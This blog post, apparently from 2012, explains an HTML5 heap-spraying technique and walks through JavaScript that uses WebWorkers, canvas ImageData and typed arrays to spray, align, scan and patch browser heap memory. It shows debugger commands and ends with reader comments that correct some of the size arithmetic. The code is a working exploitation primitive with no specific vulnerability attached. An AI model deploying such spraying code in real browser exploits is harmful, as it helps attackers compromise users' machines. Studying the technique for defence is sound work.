Heap Spray – HTML5 really rocks

Some moths ago, on EUSecWest 2012 (by Frederico Muttis & Anibal Sacco), was presented new technique for heap spraying inside HTML5. Main idea is using its new features :

  • WebWorker
  • Canvas
  • UInt8ClampedArray

– to spray the heap quick and efficient, and in addition manipulating data at byte level!

Technique highlights :

  • Manipulating at byte level :
    • Create canvas and instead of 4byte color information (r, g, b, a) set with custom data :
http://beej.us/blog/data/html5s-canvas-2-pixel/

Canvas – (R,G,B,A)

  • As an alternative can be used other containers { Uint8ClampedArray, FloatXXArray, IntXXArray, UintXXArray}

otherobjects

  • Do it fast :
    • Use new kind of threads, HTML5 webworkers :
      • Create sufficient number of webworkers
      • Each webworker fill own canvas (other byte-level container) by user specified data
//webworker

onmessage = function(e)
{
 var param = e.data;

 if (param.data.length)
 {
   for (var pos = param.skipped; pos < param.img.data.length;
            pos = param.skipped + ((pos + param.data.length + param.alig) & (~param.alig)))
   {
     for (var i = 0; i < param.data.length; i++)
       param.img.data[pos + i] = param.data[i];
     break;//just test
   }
 }

  postMessage(param.img);
}

  • Alignment :
    • As @WTFuzz mentioned, alignment can be easy to achieve

Really nice and simple technique, which bring new scope to heapspraying. Simple heapspray can be done with this technique relativelity easly, but at some additional features can be looked to. In my research I want to be able to heapspray some data, which should application change. I have to locate this change, patch it on the fly and force application to use it again. For this purpose I start playing with this technique around.

When I used simple idea to use webworker as in background filling thread, I cross some problems, when my data was changed – sometimes I was not able to locate change. I wonder how it is possible, so I looked to it more precisely.

Implementation :

//heapsprays.js -> uses previous webworker code

var HEAP_BLOCK_SIZE = (0x100000 * 4);// == malloc(0x100000 * 4);
var WORKERS_COUNT = 0x8;

var gMemory = Array();

function SprayTheWorld(data, alignment, skippedBytes)
{
  var canvas = document.createElement("canvas");
  var context = canvas.getContext("2d");
  var img = context.createImageData(1, HEAP_BLOCK_SIZE);

  for (var i = 0; i < data.length; i++)
    img.data[i] = data[i];//mark this used memory!

  for (var i = 0; i < WORKERS_COUNT; i++)
  {
    var shaper = new Worker("Shaper.js");

    shaper.onerror = function(e)
    {
      alert("shaper error!");
    }

    shaper.onmessage = function(e)
    {
      memory = e.data;
      gMemory.push(memory);

      if (gMemory.length == WORKERS_COUNT)
        alert("spray done, check memory");
    }
//spray memory
    shaper.postMessage( { "img" : img, "alig" : (1 << (4 * alignment)) - 1,
                          "data" : data, "skipped" : skippedBytes } );
  }
}

//s -d 0x00000000 L?0xFFFFFFFF 0x70616523

Memory state :

Pros :

  • Fast
  • In background
  • Byte level manipulation

Cons:

  • A lot of garbage memory (8 controled alloc, 16 temp allocs), which is no longer used, and can be anytime freed
  • Locate and patch change in sprayed memory can be in many cases not possible (change in one of the 16temps)

*Why are some data aligned at weird value (0xc -> 8times == count of used webworkers) ?  look at it deeper :


switch (i % 6)
{
  case 0:
    shaper.postMessage( { "img" : img, "alig" : (1 << (4 * alignment)) - 1, "data" : data, "skipped" : skippedBytes } );
    break;
  case 1:
    shaper.postMessage( { "trash" : true, "img" : img, "alig" : (1 << (4 * alignment)) - 1, "data" : data, "skipped" : skippedBytes } );
    break;
  case 2:
    shaper.postMessage( { "trash" : true, "trash1" : true, "img" : img, "alig" : (1 << (4 * alignment)) - 1, "data" : data, "skipped" : skippedBytes } );
    break;
  case 3:
    shaper.postMessage( { "trash" : true, "trash1" : true, "trash2" : true, "img" : img, "alig" : (1 << (4 * alignment)) - 1, "data" : data, "skipped" : skippedBytes } );
    break;
  case 4:
    shaper.postMessage( { "trash" : true, "trash1" : true, "trash2" : true, "trash3" : true, "img" : img, "alig" : (1 << (4 * alignment)) - 1, "data" : data, "skipped" : skippedBytes } );
    break;
  case 5:
    shaper.postMessage( { "trash" : true, "trash1" : true, "trash2" : true, "trash3" : true, "trash4" : true, "img" : img, "alig" : (1 << (4 * alignment)) - 1, "data" : data, "skipped" : skippedBytes } );
    break;
}

shaper_paramalignshaper_paramalign_content1shaper_paramalign_content2

Partialy Param align ? Interesting isn’t it ?

Reason why is 3times more (than expected) memory blocks sprayed (and 2/3 not actively used) is because : https://developer.mozilla.org/en-US/docs/DOM/Using_web_workers#Passing_data > data is passed by copy! And in this case are data copied per request 3times :

  • Passed as parameter to WebWorker
  • filling data in webworker
  • Passed as parameter back to main App

To avoid filling memory with uncontrollable temp data is possible to reduce 3copy (per weworker fill request) to just 1.

This method will spray memory by webworker parameters. One problem is, that when webworker exit from onmessage handler, then parameter used to heapspraying will be also uncontrollable, but in thread nature of webworker it does not metter too much, just hang it in cycle…

Implementation :

//heapspray.js

var HEAP_BLOCK_SIZE = ((0x1000000 - 0x20) / 4);// == malloc(0x1000000); 0x20 == header in IE10 case
var WORKERS_COUNT = 0x8;

var gShaper = new Worker("Shaper.js");

gShaper.onerror = function(e)
{
  alert("shaper error!");
}

gShaper.onmessage = function(e)
{
  memory = e.data;
  for (var i = 0; i < WORKERS_COUNT; i++)
  {
    var spray = new Worker("Spray.js");
    spray.onerror = function(e)
    {
      alert("spray fragment err");
    }
    spray.onmessage = function(e)
    {
      alert(">thread : " + e.data);
    }
    spray.postMessage( { "id" : i, "mem" : memory } );
  }
}

function SprayTheWorld(data, alignment, skippedBytes)
{
  var canvas = document.createElement("canvas");
  var context = canvas.getContext("2d");

  var img = context.createImageData(1, HEAP_BLOCK_SIZE);
  for (var i = 0; i < data.length; i++)
    img.data[i] = data[i];//mark this used memory!

  gShaper.postMessage( { "img" : img, "alig" : (1 << (4 * alignment)) - 1,
                         "data" : data, "skipped" : skippedBytes } );
}

//s -d 0x00000000 L?0xBF000000 0x70616523
//webworker hang cycle

var m_memory;

onmessage = function(e)
{
 var param = e.data;
 postMessage(param.id);
 while (1);
}

Memory State :

Pros :

  • Same as before
  • data remain in memory and can not be freed until you really want

Cons :

  • Performance impact, it is thread but still it is far from clean solution
  • Locate and patch change is not possible, just usable for spraying data around

Main problem with webworkers is that they have limited acces to resources (http://www.html5rocks.com/en/tutorials/workers/basics/#toc-enviornment-features), cause they are separated from main app. WebWorkers limited access to resources can be in many cases good enough, but not always. To solve this issue can help this article : http://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast and in cooperation with http://www.khronos.org/registry/typedarray/specs/latest/#7 , some light for another solution comes. When I start to look to webworker as a class with own state, more elegant solution appear. Implmentation :

//webworker

var HEAP_SPRAY = 0;
var HEAP_SCAN = 1;
var HEAP_GET_MEM = 2;

var m_id = 0;
var m_alig = 1;
var m_skippedBytes = 0;

var m_data;
var m_memory;

var m_initialized = false;

importScripts('/hs/MemoryPatchHandler.js');

onmessage = function(e)
{
 var data = e.data;
 switch (data.cmd)
 {
   case HEAP_SPRAY:
     SprayMemory(data.alig, data.buff, data.skipped, data.id);
     break;
   case HEAP_SCAN:
     ScanMemory();
     break;
   case HEAP_GET_MEM:
     GetMemory();
     break;
 }
 postMessage( { "id" : m_id, "cmd" : data.cmd } );
}

//heapspray.js

// {alignment 1 == not aligned, 2 = aligned at 0x10, 3 = aligned at 0x100, 4 = aligned at 0x1000; ,...}
 StartSpraying : function(data, alignment, skippedBytes)
 {
   if (!m_initialized)
     return;

   alig = (1 << (4 * alignment)) - 1;

   for (var i = 0; i < m_wAllocators.length; i++)
   {
     m_noErrorAllocators[i] = false;
     m_wAllocators[i].postMessage( { 'cmd' : HEAP_SPRAY, 'alig' : alig, 
                                     'buff' : data, 'skipped' : skippedBytes, 'id' : i } );
   }
 }, 
//webworker -> spray heap function

function SprayMemory(alig, buff, skipped, id)
{
 if (m_initialized)
   return;

 m_id = id;
 m_alig = alig;
 m_data = buff;
 m_skippedBytes = skipped;

 m_memory = new Uint8Array(HEAP_BLOCK_SIZE);

 if (m_data.length)
 {
 //in IE case, should be first 0x20(header) skipped - cause alignment
   for (var pos = m_skippedBytes; pos < m_memory.byteLength; pos = m_skippedBytes + ((pos + m_data.length + m_alig) & (~m_alig)))
   {
     for (var i = 0; i < m_data.length; i++)
       m_memory[pos + i] = m_data[i];//++;
     break;
   }
 }

 m_initialized = true;
}

Memory State :

Pros :

  • Same as before
  • You can easly locate change, and free other not necessary memory – ‘full’ control about allocated memory block

Cons :

  • More complex code

But more complex code brings more options – patch change anytime you want

//.cmd memory change handler

function WebWorkerDone(e)
{
 data = e.data;
 if ("undefined" != typeof data.cmd)
 {
   switch (data.cmd)
   {
     case HEAP_SPRAY:
       if ("undefined" != typeof data.id)
       {
         var scanning = CHeapSpray.StartScanMemory(data.id);
         if (!scanning)
           alert("scan fail on thread : " + data.id);
       }
       break;
     case HEAP_SCAN:
       alert("scaning active on thread : " + data.id);
       break;

     case MEMORY_CHANGED:
       alert("MeMoRy ChAnGED!! w8 for obtaining memory!");
       gPatchPos = data.pos + data.ind;
       //force object to transfer
       var obtain_mem = CHeapSpray.GetMemory(data.id);
       break;
   }
 }
 else
 {
   alert("get mem -> full control, check before change");
   //transfered object, full control!
   gTargetMemoryBlock = new Uint8Array(data);

   document.getElementById("state").innerHTML = gTargetMemoryBlock[gPatchPos];

   //test patch
   gTargetMemoryBlock[gPatchPos] = 0x66;
   alert("get mem -> after change");
 }
}
//webworker locate change function

function ScanMemory()
{
 if (m_initialized && m_data.length)
 {
   for (var pos = m_skippedBytes; pos < m_memory.byteLength; pos = m_skippedBytes + ((pos + m_data.length + m_alig) & (~m_alig)))
   {
     for (var i = 0; i < m_data.length; i++)
       if (m_memory[pos + i] != m_data[i])
       {
         if (MemoryChangeDetected(pos, i))
           return;
       }

     break;//test, copy just once per mem block ...
   }
 }

 setTimeout(ScanMemory, 0x100);
}

//get by reference!! == 0-copy, just ptr
function GetMemory()
{
 if (m_initialized)
 {
   m_initialized = false;
   //transfer object - IE does not support, yet ...
   postMessage(m_memory.buffer, [m_memory.buffer]);
 }
 else
 {
   postMessage([]);
 }
}

//memory patch handler

var HEAP_BLOCK_SIZE = (0x1000000);

var MEMORY_CHANGED = 0x666;

function MemoryChangeDetected(pos, ind)
{
 postMessage( { "id" : m_id, "cmd" : MEMORY_CHANGED, "pos" : pos, "ind" : ind } );
 return true;

 //or jsut patch back ?
 m_memory[pos + ind] = m_data[ind];
 return false;
}

Memory state with manual change :

Detecting change by js WebWorker :

final_memchange_alertfinal_detected_change

Memory change after detection (patched by js webworker) :

Conclusions : With this code, javascript have full control over allocations, memory can be sprayed, freed unnecessary parts, scanned for changes, or handle changes. Interactive handling over the heapsprayed data can be done simply by do-define MemoryPatchHandler and onmessage .cmd switch. HTML5 really brings more sofisticated and mainly more elegant and simplier options how to play with heap whitin main application (browser, etc.).

Leave a comment

2 Comments.

  1. Hey zer0mem,

    Thanks for posting this, very interesting. A question tho. What is #eap, and where does it come from? Which browser have you tested this code on?

  2. That’s a great post!

    It looks like there’s a typo or few small mistakes regarding the HEAP_BLOCK_SIZE in the post

    you present the following code:
    var HEAP_BLOCK_SIZE = (0x100000 * 4);// == malloc(0x100000 * 4);

    while the method “createImageData” takes the argument and allocate the size multiplied by 4bytes, so if you would like to allocate “0x100000″ you should pass “0x100000/4″ into HEAP_BLOCK_SIZE .

    later in the post in the alignment example the comment is wrong:

    var HEAP_BLOCK_SIZE = ((0x1000000 – 0x20) / 4);// == malloc(0x1000000); 0x20 == header in IE10 case

    it will result the following allocation:
    ((0x1000000 – 0x20) / 4);// == malloc(00FFFFE0); which is 0x1000000 – 0x20

    Regards,

Leave a Reply


[ Ctrl + Enter ]


Go To Top
Follow

Get every new post delivered to your Inbox

Join other followers: